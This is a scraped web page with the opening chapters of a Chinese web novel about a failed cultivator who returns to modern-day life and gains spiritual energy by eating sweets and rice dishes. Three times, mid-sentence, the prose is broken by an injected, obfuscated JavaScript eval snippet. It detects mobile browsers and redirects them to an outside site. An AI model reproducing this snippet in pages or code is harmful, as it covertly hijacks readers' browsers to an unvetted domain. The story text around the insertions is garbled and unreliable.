《修仙三百年被雷劈回地球开美食民宿》 1. 钵仔糕 “铃铃铃” 铃声催命一样响着,安斯年头疼到爆炸。 疼? 疼也是好事,说明还活着,被雷劈可太疼了。 勉强睁开眼,眼前的画面似曾相识,却又完全出乎他的意料之外。 他坐在书桌边,桌上堆着几本鸡汤学教材和半袋子钵仔糕,一台半旧的笔记本电脑亮着屏保,显示着“牛部长”来电的手机撂在旁边,正在不停地叫嚣。 大脑没能反映过来牛部长到底是谁,手指已自动划过,暴躁的咆哮声穿透听筒: “安斯年!你看看你发过来的报告到底是什么玩意儿?今晚十二点前给我重做!” 电话挂断了。 安斯年茫然地坐在凳子上,环顾四周:白墙、白炽灯、白瓷砖地板,一米二的单人床靠着窗,窗帘半拉着,透过不锈钢防护栏,一眼能看见对面楼的窗户,仿佛伸出手就能够得着,隐约还能听见隔壁情侣的吵架声:“520还加班?你跟工作过去吧!” 这是握手楼,是自己在S市的城中村租的那个小单间。 “……回来了?”安斯年揉了揉太阳穴,顺手薅了把自来卷,指尖似乎还残留着被雷劈过的酥麻感。 又掐了一把大腿。 疼+2。 脑袋疼,腿也疼。 看来不是做梦。 他看看自己的穿着:T恤、牛仔裤、脚上是一双历经风雨的人字拖。 伸手轻轻摸了摸键盘,屏幕一亮,右下角显示着当前时间:“2025/5/20,21:17分” 等等…… 安斯年瞳孔一缩,这不就是他猝死穿到九嶷大陆的那一天么? 他下意识运转灵诀,想要吸收些灵气方便探查周围环境……毫无反应。 “嗯?” 他皱眉,再试一次。 还是毫无反应。 地球一点儿灵气都没有么? 安斯年不信邪,伸手按在书桌上,尝试用五行灵诀直接从元素内部感应。 木头——还真就是木头,没反应。 金属咖啡杯——冷冰冰的,比木头还死气沉沉。 杯子里凉透的咖啡——“滋”,安斯年嘬了下试探的手指,真甜真香啊,不愧是回忆里窖藏了300年的陈年拿铁,但是毫无水系的灵气波动。 还有什么?火和土。 好办。 安斯年走到阳台边,运转土系灵诀,挨个触摸那几盆绿植,没有,没有,还是没有。 土里有点湿湿的,大概是不久前刚浇过水。 剩下唯一的火系了,他打开煤气灶,伸手触摸了下蓝色的火苗。 这个终于有反应了!! ……疼+3 安斯年打开水龙头,用冷水冲刷着手指,冲着冲着,突然就笑了。 很好,修仙三百年,他带着渡劫失败的尊贵VIP体验卡,重回普通人。 可怎么回来的呢? 他茫然的坐回笔记本前,茫然的打开塑料袋,二十来个钵仔糕,装在巴掌大的透明小碗里,表面光滑如镜,泛着糖油交融的光泽,各种口味都有。 关于吃的东西,他一向记忆深刻,这是他猝死那天晚上,吃完火锅回家路上顺手买的。 也就是说,大概一个钟头前吧,新鲜的很,隔着老远也能闻到淡淡的清甜香气。 可惜他现在没什么胃口。 只能勉强吃一个,尝尝是不是记忆中的味道。 随手拿出个淡黄色百香果口味的,撕掉保护膜,用竹签轻轻一挑。 半透明的糕体“Duang”地颤动,像果冻一样Q弹,却比果冻更加的扎实。 咬下去的第一口,牙齿会感受到微微的阻力,舌尖一压,糕糕在口腔里‘溜’开,带着一丝清凉的滑嫩感。 百香果的酸,微妙的平衡了钵仔糕的甜,口水一下冒了出来。 咽下后,喉头仍然残留着一丝果香。 炫着钵仔糕,安斯年开始思考。 先捋一捋时间线…… 三百年前,在地球猝死后,他穿越到了传统修仙位面——九嶷大陆。 魂穿,那边刚死,倒霉被他占了肉身的家伙也叫安斯年。 这没问题,经常穿越的朋友都知道,魂穿八大定律之一,同名嘛。 他的运气比较好,肉身居然是千年难得的木系天灵根,吐纳灵气就像呼吸那样的自然,拜仙门那天,扶云宗上下震动,宗主玄穹真君亲自出关收徒,赐他真传弟子玉牌。 门中长老纷纷道贺,连素来冷脸的执法堂首座都难得拍了拍他的肩膀,说了句:“好好修炼,莫要辜负了天赐。” 安斯年信心满满。 按照穿越主角法则,还有修仙小说套路,这种千年难逢的资质多半是天才流啊,十年筑基,百年金丹,三百年内必定能元婴大成。 情况与他设想的大差不差,不到十年,他就已经到了练气九层,与筑基一步之遥。 然后…… 他就卡住了。 跟写手卡文一样,卡死了怎么都动不了,整整二百九十年。 同批入门的弟子陆续筑基,就连最后那个五灵根的杂役弟子都靠嗑药突破了,安斯年还在炼气大圆满上徘徊。 炼气圆满后的丹田像是个大漏斗,他试过各种方法: 打坐吐纳→灵气进的快,漏得更快; 嗑药→药力化开,产生出的灵气却无影无踪; 闭关→眨眼五十年,出关时修为不增反减…… 最气人的是,他种在洞府外的灵植却长势极好,比别人种的不知道要好了多少倍,甚至能自动吸纳灵气反哺土壤…… 再五十年过去,扶云宗弟子换了一茬又一茬。 当年喊他“师兄”的人,已有金丹大成的,按照九嶷大陆以修为定辈分的习俗,变成了“师叔”。 而安斯年…… “安师弟,今日的灵草浇灌了么?” “安师侄,麻烦你到我家洞口处打坐好么?” 他的称呼从‘师兄’变成了‘师弟’,再到‘师侄’,最后成了全宗上下心照不宣的调侃:“哪位天灵根啊?哦,爱做饭的那个吃货吧。” 宗主师父看他的眼神从期待到失望,最后干脆闭门不见。 只有执法堂首座秦恒偶尔路过他的灵田,会冷冷的甩上一句:“你若是把做饭吃饭的功夫都用在修行上,早该筑基了。” 安斯年蹲在地里,吃着自己种出的绝品食材,头也不抬:“首座,您说有没有一种可能,我的天灵根不是木系的,它就是吃货系的?或者……厨系? 还有啊,我就不该学师父的‘建木长生诀’,该学藏经阁那本‘乙木化灵决’,灵植吃得多了,应该多少能留住点灵气?” 秦恒气的破口大骂。 可是过了小半月,再路过他门前时,将藏经阁那本化灵决扔给了他。 重修这门功法又是五十年。 到了炼气大圆满,结果是一样的,丹田四处漏风,灵气贼去楼空。 修行无望,可安斯年也没就此摆烂。 他按照固定的作息,过好自己的小日子。 每天辰时起床给灵田浇水、布施灵气,午时生火做饭。 对,在所有人争分夺秒感悟大道,忙的只能用辟谷丹解决身体需求的修仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730996|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗门里,只有安斯年这个奇葩,还会为了口腹之欲天天生火做饭。 至于做饭的手艺如何,除了秦恒以外无人知晓。 但秦恒去蹭过两三次就再不肯去了,甚至颁布了新的戒律,门中弟子不允许前往安斯年洞府蹭饭。 有人问起来,他只脸色阴沉的回上一句:“影响道心。” 其后的大几十年里,安斯年成了扶云宗最闲散的真传弟子。 这样的日子也挺不错的,但可惜无法筑基的话,寿命最多也就三百年,到了最后期限,安斯年决定破釜沉舟,换个思路。 既然存不住灵气,那就干脆不存了。 他放弃了所有的周天运转,转而将吸入的灵气全部散入了经脉,模仿草木生长的规律,让灵力如藤蔓一般在体内自然延展。 万幸,成功了。 筑基那一天,一株不知名植物的嫩芽,在他意识海里破土而出,迎风舒展。 那是他的本命灵植。 然而下一秒,天劫突然来临。 劫云劈在身上的雷光像是水蟒那样粗大,接触到身体的那一瞬间,天地间仿佛有威严无比的声音响起:“心魔未除,不予登仙!” 懂,意思是他还有心魔作祟,要滚回去重修! 这一滚,难道就滚回了地球? 也行吧,重修没问题,但是, 心……魔? 心魔是修行路上最凶险的障碍之一,没有实体,是修士自身的执念、欲望、恐惧或因果业力造成的无形之劫。 安斯年从没想过自己居然还有那玩意儿。 低头看看肚皮…… 除了胃,这里面居然还有心? 那魔到底在哪儿呢? 执念、欲望、恐惧、因果业力细数一遍,是刚才被骂着重写,却没来得及交的那份报告么? 还是穿越前没来得及兑现的彩票? 对了,彩票! 安斯年把剩的几个钵仔糕扒拉开,从袋子底下扯出那张彩票,转头看向电脑屏幕上的彩票查询结果。 ②③④⑤⑥⑦⑧ 没错!就是这个!!! 彩票是火锅店老板搞活动送的,因为其中一组号码太过神奇,全是单号不说,还明晃晃的缺了个‘1’ 这他可记得太清楚了。 所以晚上改着调查报告,顺便点开度娘查询时,就是因为看见结果太兴奋所以猝死的吧。 捋到这儿,安斯年关于这天的记忆瞬间全部回笼,甚至能回忆起热血冲向大脑,眼前一黑倒向桌面前,盯着屏幕最后那一眼,右下角的时间。 他安斯年终年23岁,卒于25年5月20日21点30分。一个有爱的日子。 艹……再等会。 现在是21:27分!! 安斯年仔细再盯一眼。 嗯。 离猝死还有三分钟了。 可他被天劫劈死,滚回地球,也才刚刚十分钟。短短十几分钟就要死两次,这剧情合理么? 现在死了是又要穿回九嶷去吗?或者其他世界? 可是他不想去啊啊啊!! 好不容易回到家,谁特么还会想着出门?而且,现在叫救护车还来得及吗? “……问题不大。”安斯年告诉自己。 他将目光投向手机……旁的钵仔糕。 就剩一个红豆口味的了,是他的最爱。 还是先把糕吃了吧。 “嗷呜” 最后一口钵仔糕顺着食道咽下的时候。 仿佛鸿蒙初开的第一缕阳光,一丝暖流缓缓在身体内凝聚成型。 这是……灵气? 2. 肠 粉 闭上眼的刹那,意识海内一片混沌。 安斯年的感知跟随这一丝灵气,沿着熟悉的灵决运行线路,蔓延过身体所有的经脉末梢。 “轰”的一声巨响,在他耳边炸起。 九嶷筑基时诞生的那株幼苗,突然在意识海内重现,根系飞速的膨胀,向下延伸,在丹田处织成一张玄奥的网。 “嗡” 像是琴弦拨动的前奏,又像是心脏的第一次搏动,根网中央迸发出一点翡翠色的光。 安斯年初生的神识骤然被吸入其中。 光点膨胀成无边无际的青色宇宙,而他悬浮在空濛之中。 无悲,无喜, 渺小如一粒尘埃。 尘埃飘然落地,地面一片黑色的土壤。 转瞬之间,宇宙塌缩,在这尘埃四周凝固成一个小小的空间。 他渐渐恢复了感知。 空间四周绿莹莹的,像是光线穿透墨绿的湖泊照射进来,却不知道光源在哪儿,走近了摸一摸,坚硬如玉石,却又带着些温度,完全不是他认知里的任何一种材质。 地面黑土地倒是认识,蹲下凑近了,拈起一些在指尖搓一搓,放在鼻子边闻一下,能嗅到新鲜的泥土芬芳。 随着他的神识一动,那颗不知名的幼苗欢快的冒了出来,找了个喜欢的位置,根系扒拉了几下,自己把自己种好了。 安斯年站起身,上下左右估量了一下。 这大概是个三米左右的立体空间,在这空间里,任何一点微小的动静都能被他的神识迅速捕捉,包括幼苗顶开泥土发芽的声音。 那颗幼苗正在努力舒展第二片芽叶,轻轻一个晃动,一丝微弱的灵气从它身上吐了出来。 灵气?! 他突然心有所悟,这颗幼苗跟随自己的灵魂,从九嶷穿到了地球,受到地球物理法则同化,开始了光合作用,吃的是自己体内的能量,合成的却是正经的灵气。 至于它喜欢吃的是哪种能量,吃多少才能产生一缕灵气,那就要再仔细实验一下了。 神识再一动,安斯年回归现实。 脖子下面有点痒,扯开领口一看,一条修长的绿叶藤蔓在锁骨上渐渐成型,像是刺青,又像是从皮肤里直接长出来的,叶片形状优雅且略带着弧度,仿佛正在被风吹拂着微微摇曳。 这是本命灵植给他刻画的灵纹,木系修士筑基后人人都有,只不过位置完全随机,毕竟物种不同审美也不同,还有的人直接就定型在脸上了,特别显眼招摇。 安斯年用手指轻轻触摸了一下,原来幼苗是颗藤蔓植物啊。自家藤宝眼光真不错,刻的灵纹好看又低调。 欣赏完灵纹,再看一眼电脑屏幕,时间已经是21:35分。 猝死……这算是扛过去了?或者只是延后了? 不确定,再看看。 他摊开手,钵仔糕剩下的塑料小空碗还在左手捏着。 神识一动,右手掌心处,一缕青色的灵气,正缓慢凝结成一颗米粒大小的圆珠。 肉眼看不见的波动,随着这颗圆珠成型,涟漪一般向四面八方扩散出去。 安斯年没去探究这个,他还在纠结自己的境界问题。 据他所知的修炼法则,筑基才能拥有本命灵宝,而他有了本命灵植,那算是筑基成功了么? 但情况不太对劲,体内的灵气虽然只有一丝,但明显还是炼气期的雾状,根本不是筑基后的液态化。雾状和液化,是炼气与筑基最直接的区别,这代表着生命层次的跃迁,筑基成功的修士,寿命已经可以达到五百岁了。 灵气还是雾状,心魔又还没解决过,所以还是炼气期了?那个翡翠空间呢?地球肉身的天赋么?可以用来做些什么? 一大堆的问号,安斯年完全想不出头绪。 他捧着手里的灵气珠,走到窗户边,点兵点将的将几颗绿植扫了一遍,对自己心爱的绿萝说:“小青、小绿、翠翠,对不起了,小樱要开花的,好东西先给它尝尝吧。” 木灵珠接触到叶片的刹那,珠内青雾流动,转眼就彻底渗入了枝干中。 名叫‘小樱’的勒杜鹃抽条吐芽,瞬间涨大了一倍,红色的花蕊疯狂绽开,不到两分钟,就已经从他家的窗台长了出去,瀑布一样,蔓延到楼下的窗户去了。 动静儿有点大啊…… 安斯年在窗口探头探脑,大晚上的,应该没什么人注意到吧。 可这也提醒了他。 这里是地球,不是九嶷大陆了,国家机器面前,万事还是要小心谨慎些。 能苟则苟。 他抚摸着小樱的枝条,用神识尝试了一下。 下一秒,连人带花进到了空间里。 花进来了,塑料花盆却没有。再一出一进,安斯年看着手里铁制的园艺铲子,若有所思: 看来纯粹的五行元素可以带进空间,塑料之类的复杂人造物没法进。 他蹲下身,将小樱栽种在藤宝旁边。 可是刚栽好,它的根突然从土里冒出来,“唰”的飞了出去。 安斯年:“?” 好吧,不是冒出来,是被扔出来的。 仔细看看,扔它出来的那两根根须相互搓了一下,仿佛是清理掉了什么垃圾,然后得意的拍了拍手…… 明白了,本命灵植嫌弃人家档次太低,不配靠得太近。 他这么佛系的人,怎么生出个这么傲娇的本命灵植?安斯年没办法,找个最远最角落的地方,把可怜的小樱种下了。 种好了花,回头再看那株藤苗,正贪婪的吸吮着体内能量。 这些能量毫无疑问是钵仔糕带来的,可为什么吃下去第一个百香果的没反应?难道非要吃上一斤才行?? 或者是哪种具体成分才能形成能量,继而产生灵气呢? 回到现实,他抓起一叠空的塑胶小碗,翻来覆去的检查。 ——普通的塑料。 配料表? 街头小贩手造甜品,哪来的这种东西。 但以安斯年敏锐之极的舌头来判断,也就是普通的木薯、普通的糖、普通的各种水果配料,没什么超出常规的东西。 他迅速起身,两步到了厨房打开了冰箱。 空空如也。 “……” 这不可能,作为吃货的我不可能有一口空的冰箱。 安斯年沉默几秒,转头看向桌面的手机。 外卖! 现在、立刻、马上! 四十分钟后,桌上堆满了外卖。 变态辣的麻辣小龙虾、皮焦肉嫩汁水横溢的烤鸡、盖着满满一层孜然粉的红柳枝羊肉串、全糖加冰加料珍珠奶茶。 他深吸一口气,戴上手套,开始疯狂的进食。 首先,小龙虾。 香、麻、辣,但是没有什么能量流动的感觉。 然后,羊肉串。 肉质鲜嫩,油脂丰富,孜然尤其的香,依然没什么能量。 再来,烤鸡。 冇。 “难道猜错了?” 安斯年皱眉,抓起奶茶猛猛吸了一口。 珍珠Q弹,茶香浓郁,糖分超标—— “嗡” 又是一丝暖流。 “奶茶里面有……难道只能是甜品么?” 他喃喃自语,赶紧又喝了几口,闭上眼,确认能量流的去向。 内视中,藤苗的第二片芽叶已经舒展开了,只是还有点皱巴巴的,庞大的根网正努力从四处吸收着能量,供它生长使用。 没错了,是糖分,或者淀粉类的高能量食材,能被藤苗吸收并转化成灵气。 安斯年想起九嶷大陆的灵米、灵果,也都是糖分高、淀粉含量高的品质更佳。 好家伙,搞了半天,修仙还是得从吃货做起。 这个他擅长啊。 收拾好桌面一堆的外卖残余,安斯年捧着奶茶回到了桌边,他需要简单计划一下,给自己先定个小目标。 吃! 狂吃!! 狂吃好的!!! 想想那口空的冰箱,再想想九嶷洞府中数不尽的各式灵气食材、酿造好的灵酒,安斯年都不忍回忆之前在地球过的什么社畜日子了。 怪不得能熬到猝死。 至于修行,那是最核心的事情,毕竟活的够久,才能品尝到更多的美食不是?没毛病。 与之相比,其他的都显得不那么重要了。 但也不是完全不重要,修士也是要恰饭的。 安斯年重新拈起那张彩票仔细查看,当初中彩时的狂热激动,时隔几百年,早就被灭得一丝不剩了。 缴完税后,也就四百万,说少不少,说多也不那么多。 要是仅仅用来吃东西,应该能吃上好多年,可如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730997|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想置办个大件,比如房子,让生活更舒适些——这会让他想起一个经典的老梗:有记者采访中了彩票头奖的彩民,问中了千万大奖想用来做什么,彩民回答“买房子。”记者又问,那剩下的钱呢?彩民:“剩下的,办贷款啊,再慢慢还。” 呵呵,人家中千万都这样了,他的四百万算个毛。 这可不是在九嶷,拜个仙门就能分上一个山头,洞府想怎么建就怎么建…… 还是得想办法挣钱啊。 回到地球的第一晚,先拯救濒临崩溃的身体,调整好作息,安斯年强制清空脑子里所有的杂念,先睡个好觉。 “铃” 闹钟响起。 安斯年迷迷糊糊的看了眼手机。 掐掉,翻个身,继续睡。 有空调就是舒服啊,把薄被扯一扯,盖住耳朵,他感觉能再睡一百年。 “铃”“铃”接连两次铃音。 安斯年伸出手,不耐烦的摸到手机,拿回被子里,单眼一瞅。 这次是电话。 “冯乐乐?” 脑子咯吱咯吱的启动,手里已自动按了接听。 “年仔!你在干嘛?九点十分了,人呢?再不来的话,老牛要发飙了!!” 一个女声,故意压低着但有些抓狂。 已过惯闲云野鹤修仙生涯的安斯年一个激灵,终于回忆起现在的身份——万方地产前期市场部办事员小安同志。 上班已经迟到了。 迟到十分钟,要罚款200!! 曾经刻在骨子里的社畜基因动了,安斯年一个翻身爬了起来。 电话里的女声继续说道:“算了,来不及了,干脆再晚点吧,我和老牛说你直接去房管局窗口办事了,你回来的时候记得别说漏了嘴。” “……啊?哦,谢谢啊。” 放下电话,好像又不需要那么急了。 但是,都已经修仙了,这个破班还有必要上么? 安斯年一边刷牙,一边做了决定——先吃饭,吃完早饭才有力气动脑子。 至于吃什么,必须肠粉啊,他惦记这口已经很久了。 一刻钟后,小区路口的早餐店,安斯年盯着热气腾腾的肠粉机,米浆倾泻在滚烫的铁盘上,发出“滋啦”的声响,老板单手叩开鸡蛋,让蛋液均匀浇在面皮上,加肉末抹葱花,一气呵成。 左手合上蒸盘,再抽出上面的一层,另一支手中的刮板迅疾如风,三下两下的,撮出一条裹着新鲜食材的白玉带。 安斯年嗅着清新的米香与葱香,嘴里顺滑的招呼:“来两份双拼肠,加蛋加肉,多加点葱!” 既然时间还算充裕,安斯年决定实验下米粉的能量多寡问题。 他用筷子将肠粉均匀切成五段,吃一口,感应一下,再吃下一口。 整整两份下肚,幼苗吐出了一丝半的灵气。 用数字来表述的话,那就是大概一口相当于0.15丝? 可昨晚吃了二十多个钵仔糕也才产生了一丝,一大杯500毫升的珍珠奶茶也是一丝。 照说米粉的淀粉含量,和木薯粉差不多,钵仔糕和珍珠都是木薯粉做的,怎么功效却相差这么大,几乎是三倍的效率了。 也许,和品质有关系? 那如果用自己的灵气培育出来的食材,能量又会大到什么地步? 未知,但值得期待。 昨晚那杯珍珠奶茶产生的灵气,被他运转到丹田后,和以前一模一样,莫名其妙的就漏掉了,再也感应不到。 刚才这一丝半,在翡翠空间里晃荡着好一会儿了,却半点没见消散。 嗯~ 目前看来,空间比丹田靠谱啊! 不管了,修为没有更进一步之前,统统先存在这儿吧。 回头来,实验归实验,肠粉还是很好吃的,又嫩又滑,清淡适口。 可惜在九嶷的时候,没有大豆这种作物,少了滋味纯正的酱油,他复制过去的修仙版肠粉多少缺了些味道。 总而言之,还是家里最好,这才是人间烟火气啊。 享受完早餐,安斯年提着笔记本,慢悠悠的晃到了公司。 一进大厅,两条长龙似的工位在向他召唤。 一模一样的卡座,散发着堪比元婴修士的强大威压,等待着朝九晚九的社畜们自动入栏。 可他的位置在哪儿啊? 3. 竹筒饭 安斯年茫然了几秒,卡座围栏上冒出个脑袋,圆脸中长发,正冲他挤眉弄眼的女生,可不就是冯乐乐? 似乎,好像,自己的位置和她挨着的。 走过去,坐下。 “你不想活了?”冯乐乐的椅子快速滑了过来,低声叨叨:“还有半个月就转正了,这会儿来闹迟到,万一被老牛抓了典型,那就惨了我跟你说。” 转正? ……好像是。 这家地产公司有半年的试用期,自己从年初干到这会儿,差不多五个半月了。 安斯年低声道谢,冯乐乐撇他一眼,忽然顿了一下, “你的脸,怎么好像变了点?” 安斯年震惊:“嗯?” 这肉眼凡胎的,居然也能发现自己已走上了修行路么? “就……就好像一夜之间,班味儿就没了。” 安斯年松口气,“班味儿是什么味儿?” 冯乐乐rua着胸前的工卡,寻找着贴切的形容,“眼神游离度啊,职业假笑啊,还有体味成分啊,大概就是25%咖啡因加上30%熬夜油头,再加40%办公室中央空调的霉味,emm,居然一夜之间就没了,太神奇了,怎么做到的?” 确实太神奇了,这么传神的比喻,冯小姐是怎么想到的。 安斯年也不是挑刺儿,他主要是对数字还算敏感,25+30+40明明才95,“那还有5%呢,是什么味儿?” 汉语言毕业的冯乐乐默了一瞬,“……那不重要,总之早上我救了你一回,光是口头道谢可不行啊,你懂的。” 懂,下午茶走起呗。 安斯年弹个响指,“星爸爸!咖啡糕点一条龙。” 怎么说,也是个四百万富翁了,下午茶的档次可以稍微提升点。 安抚好圆脸小姐姐,安斯年打开笔记本,点开陪他熬夜猝死的那篇调查报告—— 《房价腰斩幻想症候群调研》 字都认识,合在一起就有点费解。 安斯年想不通三百年前的自己,怎么会写这么尬这么无聊的玩意儿。 通览一遍,他对眼下大环境的记忆又充实了一些。 这几年经济形势不太好,各方面原因都有,简单来说就像被AI一脚踹进了滚筒洗衣机,经济在“通胀冷水”和“科技热风”里反复打滚。 对打工人来讲,生存秘诀则在于要把自己活成U盘,随时准备着插入新的赛道! 尤其他在的房地产行业,那简直就像是曾经的麦霸,现在却只能躲在KTV墙角,将《泡沫》单曲循环的唱到声嘶力竭。 唉,太难了,大写的一个惨字。 所以那时候,他才会那么紧张这份工作吧。 没能在死前把报告交出去,大概能算是执念,会不会……这就是他的心魔? 脑子里转着弯儿,坐了没一会儿,安斯年感应到有目光正死死盯着自己。 扭头一看。 背后办公室大门开着,大班台后面,部长牛俊和乌黑的头发反着光,看上去油光水滑的,短粗的眉毛下,眼睛半眯着,正冷冷看着自己的方向。 那眼神,大概类似于看见被割下的韭菜突然成了精,长腿跑了,并拐走了自己的老婆和小姨子。 哪儿得罪他了? 只是迟到的话,应该不至于啊,更何况,冯乐乐不是帮着圆谎了么。 可惜过了三百年了,就算曾经有过什么小摩擦,他哪儿还能记得。 眼神既然已经短兵相接,那就不能当没看见了。 安斯年将报告发送到部长邮箱,起身推开椅子,走到办公室里直面领导,准备让他一次看个够。 “牛部长,您找我?” “你早上去房管局了?” “……昂。” “难道李主任直接给你打电话了……我说你这个小安,前天一块儿吃饭的时候,你是一点眼色也看不懂,怎么,两天不到就后悔了?知道李主任的背景了?这就上赶着抱大腿去了?” 安斯年被这一顿突突的,略委屈。 他连李主任是男是女,是圆是扁都搞不清楚,记忆里压根就没这么个人。 如果牛俊和能讲讲前天一块儿吃了点什么,说不定他还能想出个一二三四来。 可他也没法辩解。 理由是冯乐乐给他瞎找的,以他现在的记忆状况,房管局大门往哪边开他都想不起来,更别说去哪儿到底干什么了。 安斯年心中去意顿生。 他原本也没打算把这份工作继续下去,只是正好被人提醒了,又到了月末,好歹多做几天,走完手续,拿到这月工资才行吧。 可他没想到,居然一个钟头都呆不下去的感觉。 “牛部长,我……” “我什么我?既然想通了,那就好好表现,晚上我和李主任约了在附近一农家乐吃饭,那儿的竹筒饭听说是一绝,你和我一块儿去。” 竹筒饭? 儿时的回忆突然涌入脑海,这是阿公最拿手的主食。 当晨雾还没散尽的时候,阿公会循着露水的指引,选取肌理致密的当年新竹来做竹筒饭。他用山泉浸润后的糯米,在粗陶盆中与腊肉丁、干菌丝、野山栗完成灵魂的交融,然后填进竹膛。 被填满的竹筒会在炭火的舔舐下渐渐褪去青涩,表皮由墨绿转为焦褐色,竹膜析出的汁液渗透进每一粒米芯,腊味的醇厚、菌菇的鲜香、山栗的油润,会从第一口开始席卷味蕾,饱饱吃上一筒,最后唇齿留甘。 那,明天再提离职也不是不可以。 没等他开口同意,已被人连着装都安排好了—— “趁中午休息,回去收拾一下,换件成熟点的衬衫,别那么幼稚像个高中生似的。”牛俊和看着安斯年身上的狗头T恤,嫌弃的瞪了一眼。 “还有,你这报告写的什么鬼东西?让你接地气没让你接地府,‘房价腰斩’?就看这几个字老板也能立马把你开了!再拿回去重写。” “……好哦。” 说了四句话挨了一顿骂,换来了一餐竹筒饭。 好像也不亏。 既然打算走人了,安斯年心安理得的坐回工位,明目张胆的摸鱼。 摸到十二点,员工食堂连炫了三大碗米饭,感应着体内多出的两丝灵气,他这才慢条斯理的走出了公司。 衣服什么的,是不可能换的。 安斯年低头,拽起衣角仔细看看,白色T恤上的纯黑杜宾多帅啊,狗狗这么可爱为什么要换? 他准备去星爸爸摄入点高糖分的东西,继续验证灵气产生量的问题,顺便打个包,回报冯小姐的提点之恩。 正午的咖啡馆,只有零星的几个客人。 安斯年下单了一杯焦糖玛奇朵和三份蛋糕,红丝绒、黑森林、巴斯克。都是妥妥的热量炸弹。 他轻轻揉了下肚子,将米饭挪开一点,给甜品们空出另一个胃。 至于咖啡,溜缝就行了。 餐品出好了,他寻了个靠窗的位置,叹着空调,就着窗外的阳光、齐整的绿植、路边开到灿烂的鲜花,惬意的吃吃喝喝。 又是一阵如芒在背,是被注视的感觉。 时间还很是不短。 安斯年没有转身探查来源。 等咖啡喝完了,甜品也都下了肚,空间里数了数多出来的三丝灵气,他走到收银台前,趁着打包的空挡,若无其事的,四处瞄了一圈。 最近的一桌应该是对小情侣,男生正举着手机和女生说的热闹, “……我说吧,昨晚上那些死老鼠在天花板上蹦的,开舞会似的,明明就是有问题。” “那不是正常的么?我们南方的老鼠,有的比猫还大呢……” “不是说大小,是说那动静儿,太疯了,动物的感觉比人可灵敏多了,你看同城这两条帖子,说的也是昨天晚上……” 女生歪头凑了过去,照手机念道:“……鱼场的胖头鱼疯球了,平时连鱼食都懒得抢的肥宅,昨儿晚顶着啤酒肚玩鲤鱼跃龙门,把我哥儿们撞出了鼻血……哈哈笑死我了,太夸张了吧。诶,还有这个……城郊养鸡场上演午夜惊魂,上万只芦花鸡突然集体立正,扬起脖子对着月亮嚎叫……什么鬼啊。” “是吧……是不太对劲吧……” 安斯年随意听了几句,没往心里去,刚才窥探他的应该不是这俩。 视线再转,大堂最里面,靠墙的一桌,坐着个三十岁左右的男人。 第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730998|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼的感觉是极瘦,肤色苍白,不怎么健康的样子。 个头倒是蛮高的,长腿在桌下自然蜷着,稍显拘束。 快六月份了,这么热的天,却依然穿着长袖衬衫,甚至规规矩矩扣着领扣和袖扣,把脖子和手腕遮得严严实实。 身前摆着个笔记本,旁边塑料杯里的咖啡一点没动。 男人这会儿正垂着眼,在键盘上快速的敲打。 大堂里已经没有其他客人了,收银台后两个店员正在忙活,一会儿的功夫,给冯乐乐带的饮品甜点打包好了。 安斯年点头谢过。 拎着环保袋转身时,余光瞥见那个苍白的男人突然合上了笔记本,撑着桌子站起身,紧紧皱着眉,不太舒服的样子。 是疾病发作么? 他的脚步微顿。 “先生,需要办张会员卡么?” 身后的店员突然出声,手里拿着一张宣传单。 墨绿底色的卡纸上介绍着各种会员福利。 他微笑着摇摇头,收回目光,再转头时,那个男人只剩下了背影,没怎么动过的咖啡也被留在了桌上。 安斯年很快忘掉了这个小插曲,回到公司,电梯上遇见有人抱着凭证册挤上来,还冲他笑着打招呼:“小安,这是发财了,下午茶都吃上星爸爸了?有没有我的份儿啊?” 是位短发的女士,有点面熟,但不多。 更叫不上名字。 人稍微靠近一点,香水味混着油墨味扑面而来,安斯年下意识的后退半步,修行后增强的嗅觉让他清晰分辨出对方口鼻处另外一种味道。 大概率早餐吃了韭菜盒子。 韭菜盒子很好吃,可一个消化不良导致口气严重的人,吃完这个再发酵半天后…… 那味道,无法形容。 安斯年替人尴尬的毛病犯了,屏住呼吸,硬扯出点笑容,“没发财,欠了人情还债来着,下次,下次……” 到了目标楼层,门一开,安斯年迅速逃离。 走回工位上,冯乐乐正对着化妆镜补口红,他直接将食品袋怼到对方眼前。 “你中暑了?”她接过袋子时皱眉,“脸白的跟见鬼了似的。” 安斯年:“……” 刚憋气憋得吧。 看来成为修士也不全是好事,五感加倍敏锐的同时,也需要忍受更多的不便。 譬如,他坐了半个上午,深刻体会到他的工位和洗手间离得有多近,而洗手间里,又会有多少人在自我放飞…… 唉,还是在修仙位面那样离群独居来的安静,方圆百里内就他一个洞府。 